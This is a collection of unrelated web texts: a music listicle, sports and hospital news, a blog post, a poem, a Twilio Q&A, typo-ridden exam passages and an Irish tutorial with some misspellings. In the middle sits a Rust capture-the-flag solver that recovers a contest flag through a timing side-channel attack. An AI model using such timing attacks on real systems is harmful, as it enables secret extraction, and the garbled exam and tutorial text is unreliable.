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Give Me the Feels: Mumford & Sons
by Cody Deitz 2 years ago in song reviews
Deep cutting Mumford & Sons songs just to enhance those sad, sad feels.
Mumford & Sons have been in my life for quite some time, and just like any artist, they have their fair share of deep cuts that just really give you the feelies. Love is something that makes you feel--especially the really melancholic, yearnful, depressing love songs that really rip your heart in half through the headphones. If you really want to feel the pain, here are 10 songs that will get you there...get your ice cream ready.
You can find Mumford & Sons on Apple Music, Spotify, and other streaming/purchasing services.
10. 'Holland Road' - Babel
Starting this list is more of a reminiscent song that would be a "I am drunk and thinking about love" song. This is the one you see the drunkard on sitting on the bar with their beer and screaming these lyrics. Use this accordingly.
This song talks about love being thrown, but often being cut down again and again. Though it keeps happening, there is hope for mutual beliefs for love. They hope and hope for them to come back to it, offering "if you believe in me, I'll still believe."
We want our love to prosper and continue, but it works mutually with the other--how can you keep believing a relationship will go on as the other is checked out? Hope goes a long way, and this thought-provoking song tells us that tale.
9. 'I Gave You All' - Sigh No More
Another one of the "this is my drunk sad" songs, "I Gave You All" is the jam that puts you into the first steps of the breakup, especially the one made of anger.
You gave them everything. You gave them your life, your soul, your love. You fought, but they needed to win. They needed to hear that they won--and you lay in pieces.
Now, I want to mention that this is one of those "I am going to be scream/cry to this" type of songs. It isn't exactly the "I am going to cry in my bed" songs. This is the blood-boiling song that needs to be somewhere in your sad feels playlist. Get a little angry--heartbreak f**king sucks.
8. 'Wilder Mind' - Wilder Mind
Sometimes to get out of a bad situation, you just have to leave your brain wander. Here is that anthem.
Though the partner may scream and scream at you, and you just take it. Your mind goes elsewhere to a place where it is okay, and you put a white veil over the situation blinded by love.
In a final thought, they leave you with "I thought we believed in an endless love." An experience like love is something that seems eternal, and like it is never going to end when it is full swing, but sometimes it does come to that close. Someone is always left in shock, especially when they made the promises leading to a happy and healthy life together.
7. 'Broad-Shouldered Beasts' - Wilder Mind
We are a story-telling species, and this song plays the narrative of a romance, and the chorus takes us into the arguments...which leaves our protagonist allowing their partner to give blame and have the anger taken on them. The partner is hypocritical on the protagonist, accusing the latter of being the issue in the relationship, yet the partner is the one who is fuming in the conflict--sound relatable? Well it's alright, "take it out on me."
6. 'Tompkins Square Park' - Wilder Mind
Get ready to question if your flame has gone out.
A little more electronic than the norm from M&S, "Tompkins Square Park" leads you through a song about the longevity of relationships, with the lyrics "no flame lasts forever/ you and I both know this all too well." There are some that are long relationships that have high emotions invested into the connection, and some that don't even last the entire night. Either way, the protagonist is yearning to meet again, even through the lies, doubt, and arguments that are accompanied by continued relationships.
5. 'After the Storm' - Sigh No More
There is a recurring element of the troubles in a relationship, but there is always more to come after the storm, which may just be happiness.
This song focuses on the better part that comes after the worst. We hold on for these moments when things are coming to a peak. We want to go back to normalcy, where there is love and tender embraces, not the darkness that clouds everything. There is hope, though, that there will be a successful resolution and everything will be rainbows and unicorns.
That being said, they do mention a part where they say "get over your hill and you'll see", where it echoes a call to remind that it is a two-way street. For one to want to get over it, there has to be equal desire to get there. The world cannot come to love when one is dragging their feet in the darkness.
4. 'Monster' - Wilder Mind
Think back to a relationship that really makes you fall out of yourself. You're a little empty, but you're still there in full. It sounds like an oxymoron, but it is quite relatable, isn't it?
This song plays on the looking back on a relationship, and bringing back a little of those feelings in reminiscence. There is slight aggression, "so f**k your dreams", which is completely realistic. It hurt--and we know that to be true. They did you wrong. You don't need to feel bad for them. You don't have to wish them well yet, so you last in those hurt feelings.
Curse the beauty, curse the queen.
3. 'Where Are You Now' - Babel (Deluxe Version)
Relationships may be long over, but we often find ourselves coming back to them again and again. What did we do wrong? Why did it end? What would I have done differently?
If you find yourself in that position, give this one a try. "Where Are You Now" is a little reminiscent song that sounds exactly like its title: where is the one that you lost. Are they thinking of you just like you are now?
This song adds a different vocal twist in the chorus that offers a soothing way into your heart and mind, just for you to think about it all over again and again; are you thinking of me?
2. 'Cold Arms' - Wilder Mind
Slow longs are an easy way to wiggle into your emotions, especially with the slowest and gravitating of guitar strums.
Just recovering from an argument of some sort--possibly the final--there is that limbo state where the two are left ot think of their relationship. Our protagonist is left in anguish thinking of where their partner is, and what is going on their mind, though everything running through their head was all in fault of our protagonist. Though they want to take it away, the protagonist knows that if they took it away, they would be nowhere again. That being said, the protagonist recognizes how detrimental they are to the relationship, offering themselves as having "cold arms" that keeps the fear beating in the partner, yet the partner stays.
Talk about sticking it through. Yikes.
1. 'Only Love' - Wilder Mind
This song--playing on the fairytales that take over the human narrative--realizes all of the false hope that we were told this entire lifetime: "didn't they say that only love would win in the end?" I have found myself listening to this in the shower, water hitting me right in the face, left with all of my thoughts. Listen to it there. Listen to it when you're holding the glass of wine on the couch, lost in thought. Listen to it when you're journaling. It will bring you right on back to the deepest and most hurtful part of a falling relationship: questioning it. It fell apart, and you're left in the rubble, but "didn't they say that love would win in the end?"
They were wrong.
If you like what they've got thus far, go check out their full albums. They also recently released an EP, Johannesburg, that follows their trip to Africa and gathers some of their musical culture into their alternative style. Thanks for reminding us how to feel, M&S.
Cody Deitz
I'm just a graduate student that loves music, reading, and too much Netflix.
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Suni Lee bonded with her Olympic teammates about representing their communities on a global stage
Meredith Cash
From left: Team USA Gymnasts Suni Lee, Simone Biles, and Jordan Chiles ahead of the Tokyo Olympics.
AP Photo/Ashley Landis
Suni Lee grew up "barely ever [seeing] anybody that looks like me" compete in gymnastics.
The Olympic all-around champion has made it her mission to help others feel represented in the sport.
"I want little girls to be able to... see somebody that looks like them" in gymnastics, Lee told Insider.
Suni Lee knows she represents far more than herself every time she hits the mat.
The 19-year-old represents the United States in international competitions and the Auburn Tigers at the collegiate level. But regardless of which leotard she's wearing or gym she's walking into, Lee represents the embodiment of countless little girls' dreams.
She takes that responsibility really seriously — especially as someone who has emulated her own role models in her rise to gymnastics glory.
"I've experienced firsthand how important it is to have women representation in sports and how it can help propel young girls to follow their dreams as athletes," Lee told Insider. "So that's something that's really important to me."
Lee competes for Auburn.
AP Photo/Michael Woods
The all-around champion at the Tokyo Olympics knows that, even despite all the progress that's been made in women's athletics, girls still have fewer opportunities to participate in sports than boys. She teamed up with Clif Bar and VOICEINSPORT Foundation to help combat the problem, bringing Title IX trainings to college campuses across America with the goal of broadening girls' access to sports.
And they don't all have to follow exactly in Lee's footsteps. She knows that "the more opportunities and support girls have in sports, the stronger and more powerful they'll be in all aspects of their lives." But seeing themselves represented on the world's biggest stages is key to knowing they can get there, she said.
"Growing up and doing gymnastics, I have barely ever seen anybody that looks like me or is in the same community as me," Lee said. "That's something that we need to work on and something that I put all my efforts into."
Lee poses with her Olympic gold medal.
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"I want little girls to be able to say that they can see somebody that looks like them and help them to become a better athlete or person," she added.
The Minnesota native and some of her teammates on the USA gymnastics squad that competed in Tokyo — "The Fighting Four," as they've since named themselves — have bonded over their shared commitment to diversifying their sport. Jordan Chiles, who helped the squad earn silver in the team all-around, has said she's felt othered as a Black woman with curves competing in a sport that considers white women's bodies the default.
Simone Biles, who has become the face of the sport, has also said she doesn't remember seeing many gymnasts who looked like her while growing up in Texas. But given her rise to the top of the gymnastics world, she knows she's "instilled confidence in little African Americans all over the world."
Simone Biles (left) and Lee at the Tokyo Olympics.
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"Simone is such a great athlete, Jordan is an amazing athlete, and I think it's really cool to see people of different communities be great," Lee said.
As the first Hmong American to compete at the Olympics, Lee feels a similar call to act as a role model for those who share her background.
"That's something that I wanna help other young girls with," she said. "Because that's something that I feel like I never really had the opportunity for."
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use async_std::net::TcpStream;
use async_std::prelude::*;
use log::{debug, info};
use std::time::{Duration, Instant};
use uuid::Uuid;

const SERVER_ADDR: &str = "tracing.2020.ctfcompetition.com:1337";
const TEST_SAMPLES: usize = 0x1000;

enum ProbeOutcome {
    Higher,
    Lower,
}

fn increment_id(x: Uuid) -> Uuid {
    Uuid::from_u128(x.as_u128() + 1)
}

fn decrement_id(x: Uuid) -> Uuid {
    Uuid::from_u128(x.as_u128() - 1)
}

fn generate(target: Uuid, inc: impl Fn(Uuid) -> Uuid) -> Vec<u8> {
    let mut gen = target;
    let mut result = Vec::new();
    (0..TEST_SAMPLES)
        .map(|_| {
            gen = inc(gen);
            gen
        })
        .for_each(|id| result.extend(id.as_bytes()));
    result
}

async fn run_timing_test(data: &[u8]) -> Result<Duration, std::io::Error> {
    info!("Running test");
    let mut stream = TcpStream::connect(SERVER_ADDR).await?;
    stream.write_all(data).await?;

    debug!("Shutting down stream");
    stream.shutdown(async_std::net::Shutdown::Write)?;

    let mut buf = [0, 0, 0, 0];
    stream.read(&mut buf).await?;
    debug!("Start timing");
    let start = Instant::now();

    let _ = stream.read(&mut buf).await;

    Ok(start.elapsed())
}

async fn probe_target(target: Uuid) -> ProbeOutcome {
    let higher_duration = run_timing_test(&generate(target, increment_id))
        .await
        .unwrap();
    let lower_duration = run_timing_test(&generate(target, decrement_id))
        .await
        .unwrap();

    debug!("higher: {:?}", higher_duration);
    debug!("lower: {:?}", lower_duration);

    if higher_duration > lower_duration {
        ProbeOutcome::Higher
    } else {
        ProbeOutcome::Lower
    }
}

#[async_std::main]
async fn main() {
    env_logger::init();

    let mut delta: u128 = 1 << 126;
    let mut target: u128 = 1 << 127;
    while delta > 0 {
        let id = Uuid::from_u128(target);
        info!("probing {}", id);
        match probe_target(id).await {
            ProbeOutcome::Higher => {
                info!("higher");
                target += delta;
            }
            ProbeOutcome::Lower => {
                info!("lower");
                target -= delta;
            }
        }
        delta >>= 1;
    }

    println!(
        "My guess: {}",
        String::from_utf8_lossy(&target.to_be_bytes())
    );
}

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Could the bus driver really see Teresa Halbach taking photos?
I'm addicted. Yes, the 'Making a Murderer' Netflix series has me by the throat. I don't know if I'll blog much about it, but I was just looking at some photos and I think the bus driver testimony is 'off'.
I lived on a 40 acre farm. I have a feel for the distance from one corner to the other on a side. It's a very long way. But given the obstructions, low sun in the afternoon, I'm not sure the bus driver could see Teresa taking those photos unless she drove the bus up this Long Road and did a turn around in the Barb Janda drive (where the four cars are). What do you think?
Bus distance, approx 1/4 mile.
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Judgment day still so far away.
In the field of judgment we let our children play.
In the bed of judgment we lay.
Upon the political leader the judgment falls.
People in unrest want justice for all.
Is it a part of the divine plan?
Gives power to those who lead.
And fear to those who breathe.
Where is the peace when we crumble to our knees?
Where is God's Divinity when we fear the people who lead?
Weep from the damage of the judging word.
Blocking sight of the internal flame.
It just breeds lies and pain.
Judgment a companion of lust and greed.
The prison guard that chains the judged to a verdict of deceit.
Wow…I love this poem! I was just thinking today about writing a post on Judgement. Thank you for sharing!
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Q: Error when Requiring Twilio Voice SDK Javascript I have included (via npm) the twilio/voice-sdk package (v.2.1.0) into a project. When I include the following code (as shown in many examples):
const Device = require('@twilio/voice-sdk').Device;

I get a console error stating:
"Cannot find module 'events' in '@twilio/audioplayer/es5'".  I am trying to import this onto the client side, not server.
I get this whether I use require or import.
As an attempt around this, I have also include the node package @twilio/audioplayer, but to no avail.  Kind of stuck as to what is going on here.
I am trying to use this on a Wix (or Velo more specifically) project.  Hoping to create a dialer that can both answer and instigate phone calls on a site that already exists on that platform.
I have installed both of the above npm packages into my project, but get he above enumerated error.
Any ideas from the Internet?
Additional Information:
If I add the 'require' on the server side I do not get the same error.  I was going to try this and then do an async call to the server to get my Device object.  However, the Twilio Device SDK package utilizes the Window object, which of course does not exist on the server side.

A: The @twilio/audioplayer package uses the "events" module. This module is available in Node.js and when applications are bundled with something like Webpack is polyfilled.
I haven't used Velo, but I assume they are bundling differently in a way that doesn't add polyfills for this. I'd recommend installing the events npm module to your project too. That should provide the EventEmitter that the library is using for the browser environment and stop this error.

A: I had a similar problem, where I can import Device, but cannot construct it. The problem I had was that the bundler (in my case Vite) doesn't have a polyfill to run some functions inside the @twilio/voice-sdk.
The solution in my case was by installing polyfill on Vite.
Here is how:
First, install these packages:
npm i @esbuild-plugins/node-globals-polyfill @esbuild-plugins/node-modules-polyfill --save-dev

Then add the polyfill config to your vite.config.js. Here is link of the code: https://medium.com/@ftaioli/using-node-js-builtin-modules-with-vite-6194737c2cd2.
Because I use React, I still need to add plugins: [react()] inside the polyfill config. So it becomes something like:
export default defineConfig({
plugins: [react()],
// rest of the polyfill config
})

Now you can do:
import { Device } from "@twilio/voice-sdk";
new Device(token);


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29 .Do you make up every morning __________ energetic and ready day?
Directlons:For each blank in the following passage there are four wordes or phrases marked A,B,Cand D.fill in each blank,with the word or phrase that best fits the context.
People in communities have slowly been pushcd apart through the years,mostly because people simply aren't taking the time to say a simple "hello,"After considering this phenomenon,I decided I was going to 36 the way I was doing things.
My 37 came one morning when I was in the commity library.I passed by a girl who 38 her books out of her locker .Thinking like most that someone else would help her pick them up, I continued my way I loweverm when I had to 39 because I stupidly forgot my book,I noticed she had just finished packing them up by hersclf he one had stopped to 40 her.
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Does going to college really pay off?Certainly!
I remember taking __48__ English class in college on the short story. Our frist assignment was to read __49__ short stones and then discuss which one was better. After reading both,I wasn't sure. Over the __50__ several months, my professor taught me __51__ one story was so much better than the other wan humorous __52__ was rich in mclaohor(隐喻)and character development, while the other was humorous __53__ too shallow. I couldn't see this at first. Yet, in a few months, my brain got reeducated an __54__ could see the difference between good and bad writing and could appreciate literature at a whole new level.
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Directions:Read the following three passages. Each passage is followed by several questions or unfinished statements. For each of them there are four choices marked A,B,C and D.Choose the one that fits best according to the information given in the passage.
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In September, 1940, my mother, sister and I went to Swansea, where my father's ship was getting ready to sail. We brought him a family photograph to be kept with him at all times and keep him sale.
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My most vivid memory Is being woken and brought douwn to sit o my father's knee, his arm in a bandage.
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Learning the Irish Language
History of the Irish Language
Vowel Combination
Vowel Sounds before ll, nn, rr, m, rd
Unwritten Vowels
Vowel sound of "eye" and "ow"
Letter Mutations
Vocabulary List
Basic Phrases
Numbers 0 – 10
The purpose of this tutorial is to teach an individual the Irish language. This tutorial will be part one of a much larger tutorial. In this tutorial, we will go through a brief history of the Irish. After which we will discuss the phonetic of the language and some basic phrase to get a person started in the Irish Language. The Irish language have been on a slow decline ever since Ireland became under English rule in the seventeenth century and is only spoken by about 50,000 people. It was on the verge of dying off as a spoken language, but recently, there has been a revival in its usage which just might save it from oblivion. Hopefully, this tutorial can do a small part in keeping the language alive.
The Irish language is part of the Celtic language family. The Celtic language family is divided into two branches: the Gaelic branch which includes Irish Gaelic, Scottish Gaelic and Manx (extinct), and the other branch which includes Welsh, Breton and Cornish (extinct). Irish language was the main spoken language of Ireland until the late seventeenth century when Ireland became under English rule and started to get displaced by English. Irish started to go on a steady decline until Ireland became independent in the 1922. The new government of Ireland tried to revive the language but it only manage to just slow the decline in most parts of Ireland. However, the western and southern part of the country had a strong community and kept the language alive. These areas are known as Gaeltacht and the people from these areas speak Irish on a daily language. Recently, there is a renewed interested in saving the language. There are many internet sites that are dedicated to the Irish language, along with radio and TV show that use the language. It seems the decline has been stopped and hopefully, we will start to see an uptick in the language usage and the language will be saved from extinction.
Even through there have been some spelling reforms in the Irish Language, the phonetics are still relativity complicated and reminds one of the biggest stumbling blocks for a novice of the language. The best way to learn the phonetics is to listen to a native speaker as I can only give an approximation to the sound in written terms. A good website that one can learn the phonetics from a native speaker is http://learn101.org/irish.php There are only 18 letters in the Irish alphabet: a, b, c, d, e, f, g, h, i, l, m, n, o, p, r, s, t, and u
Á – is pronounced like "aw" in draw
É – is pronounced like the French "e" .  The closest sound in English is like "ay" in day
Í – is pronounced like "ee" in feet
Ó – is pronounced like the French "au".  The closest sound in English is like "o" in note
Ú – is pronounced like "oo" in pool
A – is pronounced like "a" in cat
E – is pronounced like "e" in get
I – is pronounced like "I" in hit
O – is pronounced like "oo" in book but with mouth more open.
U – is pronounced like "oo" in look
Ia – is pronounced like the long í followed by a
Ua – is pronounced like the long ú followed by a
Iai – is pronounced like the long í followed by e
Uai – is pronounced like the long ú followed by e
Ao - is pronounced like the long í in the north and like the long é on the south.
Aoi – is pronounced like the long í
Ei – is pronounced like "e" in get
Ea – is pronounced like "a" in hat
Ai – is pronounced like "o" in hot
Ui – is pronounced like "I" in hit
Oi – is pronounced like "o" in hot
Io – is pronounced like "I" in lit
Eo – is pronounced like "o" in note
Iú – is pronounced like long ú
Short vowels that are before ll, nn, rr, m, rd are pronounced like the long version of the vowel. For example,
im (pronounced like eem) – Butter
fill (pronounced like feel) - Return
tinn (pronounced like teen) – Sore
The letter combination rm, rb, rbh, rg, lm, lb, lbh, lg, nm, nb, nbh, ng has an "a" sound between the consonants. For example,
gorm (pronounced like goram) – blue
bolg (pronounced like bolag) – stomach
borb (pronounced like borab) – rude
Between slender consonants the "I" sound is added between the consonants.
aimn (pronounced like anim) – name
airgead (pronounced like arigad) – money
The following letter combination is pronounced like "eye": agh, egh, igh, ugh, adh, edh, idh, odh, and udh.
staighre (pronounced like steyere) – stairs
fadhb (pronounced like feyeb) – problem
The following letter combination is pronounced like "ow": abh, obh, and ogh
abhainn (pronounced like owan) – river
foghlaim (pronounced like fowlam) - learn
Unlike American English there are two sounds for each consonant which are called slender and broad. This will be a little hard for the novice and is best learn by listening to a native speaker to be able to tell the difference between the two. It is important to be able to recognize the different sounds as sometimes the way the consonants are pronounced dictate which word is meant. For example, the Irish word lón (lunch) and leon (lion) are distinguished in sound by the pronunciation of the "l". American speaker typical use broad consonant sounds, whereas Welsh speaker typical use only slender consonant sounds and the England speaker typical to use both. For an American speaker, the board sounds should be fairly familiar. To make the slender version the tongue is moved back further in the mouth. Try saying the "L" sound but with your tongue in the position one would put it when pronouncing the "ee" sound. Again, the best way for a person to learn this is to listen to a native speaker and eventually the person's ear will be able to pick it up. A consonant is slender if the letter is followed or preceded by "I" or "e" whereas the consonant is board if the letter is followed or preceded by "a", "o" or "u". Most board consonants are pronounced like it is in English. There some exception which I will explain below. D, t, l, n – These consonants, when board, are pronounced with the tongue against the upper teeth. When they are slender the tongue is against the gums of the upper teeth. S – the board version is like how it is pronounced in English. The slender version is pronounced like the "sh" in ship. R – the board version is pronounced like "R" in English but more clearly. The slender version is like how the s and r are pronounced together in the word leisure. If the word begins with a "R" then the "R" is always pronounced in the board version. Ph – is pronounced like "ph" in the word phone Th – is pronounced like the "h" in house Ch – when board is pronounced like "ch" in the Scottish word loch. When slender it sounds like the beginning sound in huge. Bh, Mh – are pronounced like the "v" in vet. Gh, dh – when board sounds like the French "r". When slender it is pronounced like the "y" in yellow Idh, igh – is pronounced like "i" in Kite in the northern part of the country. In the southern part of the country it is often pronounced like "ig" in pig
One of the unique features of Irish and the other Celtic languages is that some beginning consonants can mutate or change under certain condition. The preceding word often causes these mutations. For example, cóta (coat) becomes mo chóta (my coat). There are two types of mutation: Lenitions and Eclipsis. Note, not all consonants can be mutated. The list of consonants that can be mutated and how the pronunciation is affected is shown in the below table.
Consonants           Lenited Form           Eclipsed Form
P                    ph (pron. like f)      bp (pron. like b)
T                    th (pron. like h)      dt (pron. like d)
C                    ch (pron. like kh)     gc (pron. like g)
B                    bh (pron. like v)      mb (pron. like m)
D                    dh (pron. like gh)     nd (pron. like n)
G                    gh (pron. like gh)     ng (pron. like ng)
F                    fh (silent)            bhf (pron. like v)
M                    mh (pron. like v)      N/A
S                    sh (pron. like h)      N/A
Dia dhuit – hello (literally means "God be with you")
Dia is Muire dhuit – hello (literally means "God and Mary be with you" used as a responds to dia dhuit)
Conus tá tú? – How are you?
Tá mé go maith – I am well
Tá mé go dona – I am bad
Cad is aimn duit? – What is your name?
Is mise Matthew – I am Matthew
Tá mé i mo chónaí i Meiriceá – I live in American
Le do thoil – please
Go raibh maith agat – thank you
Slán – bye
Tar isteach – come in
Conas tá sé amuigh? – How is it outside
Tá sé fuar inniu – It is cold today.
Tá sé te inniu – It is hot today.
Cad as tú? – Where are you from?
Tá fáilte romhat – You are welcome.
Practice Exercise:
Fill in the blanks in the conversation.
Dia dhuit.  ________________
Cad is aimn duit?___________________
Conus tá tú? _______________________
Cad as tú? _______________________
Conas tá sé amuigh? _________________
Slán. ________________________
0 – náid
1 – aon
2 – dó
3 – trí
4 – ceathair
5 – cúig
6 – sé
7 – seacht
8 – ocht
9 – naoi
10 – deich
Grandfather – seanathair
Grandmother – seanmháthair
father - Athair
mother - Máthair
son - mac
daughter - Iníon
grandson - Garmhac
granddaughter - Gariníon
uncle - Uncail
aunt - Aintín
cousin - Col ceathar
nephews - nia
niece - neacht
Blue- gorm
Red –dearg
Black – dubh
Orange – oráiste
Yellow –bui
Brown –donn
Purple – corcra
White – bán
Gray – liath
English			Irish
Five			________________
______________	gorm
______________	mac
Mother			________________'
______________	seacht
______________	dubh
Uncle			________________
Three			________________
______________	Aintín
One			_________________
This is the first tutorial of a much bigger one that I will be writing over the next couple of months. The goal of these tutorials is to show a person how to read and write Irish. This tutor will cover the phonetics and some basic phrases. Hopefully, this tutorial will do a small part in helping to preserve the Irish Language.
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Chaos builds amid announcement of partial ECRMC closure
by Sarina E. Guerra
Sarina Guerra
Jan 10, 2023 Updated Jan 25, 2023
EL CENTRO — Concerned physicians and local Imperial Valley representatives held a press conference Monday, January 9, following the announcement that El Centro Regional Medical Center's (ECRMC) CEO and board of directors were soon to close its Obstetrics, Labor and Delivery, and Pediatric services.
Doctors, nurses, public service representatives, and community members attended the outdoor conference, several with personal and familial ties to the institution that has provided protection and life-saving services to a vulnerable population in the community – infants and children.
Tara Malcomb, clinic manager at Imperial County Physician's Medical Group and social media organizer, opened by speaking of her own experience surviving severe health complications during the birth of her children. The very ECRMC departments slated for closure, she said, had made all the difference in ensuring the safety of her and her child during what she called "the most challenging chapter" of a complicated delivery. Known among those in attendance for her involvement in the creation of a social media protest page, she thanked those in attendance for their support and celebrated the tremendous amount of traction the page garnered in a brief period of time.
Dr. Alfredo Negrete spoke on behalf of hospital staff and the "sudden disruption" in future plans and daily activity the announcement had caused for ECRMC employees. Dr. Negrete has served the Valley for nearly 22 years as a pediatrician and expressed disappointment in the decision to consolidate departments between ECRMC and Pioneers Memorial Hospital (PMH) in Brawley. In a scathing review of the previous week's happenings, he emphasized the sudden nature of the announcement as well as the incomplete actions taken towards formulating a respectable solution for all.
While quick to acknowledge the genuine issues that face ECRMC in its current state, Dr. Negrete vocalized his concerns of the ripple effect of an action that was "decided behind closed doors" that will inevitably "put people in harm's way." In addressing the somber crowd of attendees that spilled out of the parking lot, he juxtaposed the energy of those behind the decision, saying that the closure of his department "puts the interest of shareholders ahead of human life" and yet proved to be cause for celebration for some. As a final remark, Dr. Negrete stressed that in his years of experience as a medical professional, "minutes are the difference between life and death" and assured the public that he and his colleagues "will not stand idly by."
The speakers that followed were a mix of ECRMC administrative staff, active and retired public service representatives, medical professionals, and concerned community members. One speaker, the chair of the OBGYN department, reminded the audience that the facility serves almost 1.5 million people and that citizens in crisis will now have to rely on institutions as far away as Yuma, Palm Springs, and even San Diego. County Supervisor Luis Plancarte criticized the ECRMC board of directors which chose to "hide behind a veil of secrecy" and lamented that those most affected by the decision were being "kept in the dark."
While some that took the stage expressed hope for the situation, the dominant sentiments expressed were disappointment and outrage. With Imperial Valley being the poorest county in California, a nurse and ex-military member remarked that in his experience, "nearly 80% of patients are on Medi-Cal and Medicaid," calling ECRMC a "critical access hospital." "Every single one of us is a patient," he said.
Also of concern for many was the effect the decision will have on the ability of PMH to effectively and efficiently treat the onslaught of critical care patients to come. Other speakers reminded attendees of the institution's struggles to manage recent influxes of patients either due to global events like the COVID-19 pandemic, and even smaller strains on staff caused by higher-than-average cases of the flu. "[The services] we have now are not enough, and to take even more away is a slap in the face," said Jesus Escobar, District 1 Supervisor of Imperial County. "This is an equity issue which will likely get worse before it gets better," he said.
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"For some reason, two separate Zoom meetings were scheduled at the same time," explained one nurse. "I had my iPad in one hand and my phone in the other, and what we were being told by [each institution] was incongruent."
The nurses whose jobs were affected were then told there would be transfers, though administration was not able to follow through on their word. This left some to reapply to PMH or transfer to a different department altogether.
Older community members recalled the similarities between ECRMC and the closure of the Calexico hospital. They noted the process of a partial closure involving the very same Women's and Pediatric departments, which ultimately led to its demise. Even the wording surrounding the decision struck some as eerily similar.
Concerned community members expressed discontent that much of what they have heard about the decision until now has largely been via word of mouth from friends and neighbors. Recently, Malcomb has managed to garner over 100,000 views on the protest page in just the three days since its launch. A petition is currently circulating the community, though social media seems to be the primary avenue for receiving the latest news on how to stay involved in this protest.
The final speaker of the evening, an elderly gentleman wearing a Vietnam Veteran's hat, summarized the evening's call to action in his own words, saying "I may not know how to stop this bleeding, but I know that first we need to apply pressure."
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NotPC Jan 11, 2023 5:37pm
This is not a new thing folks, this happens quite a bit. Not sure how the poorest county in the entire state believes it can finically support two different hospitals that replicate services while being reimbursed with pennies on the dollars by medic-cal and Medicare, or not being paid at all. To be candid I'm surprised this did not happen 20 years ago.
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